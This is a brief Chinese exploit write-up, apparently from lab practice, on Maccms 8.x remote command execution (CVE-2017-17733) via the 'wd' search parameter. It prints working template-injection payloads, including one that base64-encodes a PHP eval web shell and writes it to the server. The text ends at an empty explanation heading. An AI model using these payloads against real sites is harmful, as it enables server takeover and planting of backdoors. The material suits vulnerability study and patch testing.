maccms 远程命令执行(CVE-2017-17733) 描述: Maccms是一套跨平台的基于PHP和MySQL快速建站系统。。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。 影响版本: Maccms 8.x版本中存在安全漏洞 该漏洞点
利用wd参数post' wbeshell 漏洞利用 url:localhost/maccms8/?m=vod-search (有的网站不需要些maccms8,因为有的人会改名,改成maccms888啥的都有,这里靶场干脆不要这个)
post:wd={if-A:phpinfo()}{endif-A}
该点hi利用正则绕过 '/{if-([\s\S]?) [\s\S]+?)}([\s\S]?){endif-\1}/is' 如何要写入一个shell呢,我们只要控制它第二个子匹配获取到的是我们控制的恶意代码,并且绕过几个过滤替换的坑就好 {if-A:EXP}{endif-A} 由于不能带单引号,会被直接转义,于是尝试构造命令,先去读当前目录,结果被and被替换了,都忘记这个了。 wd={if-A:var_dump(scandir(pos(localeconv())))}{endif-A}
网上的getshell基本都是通过base64编码写入,没有引号并不会报错,只是有一个notice,仍然可以使用,是因为被隐性作为常量对待了 通过base64编码构造shell并且写入 wd={ifA:fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeXVueWluZ10pOw))}{endif-A} 漏洞原理:
|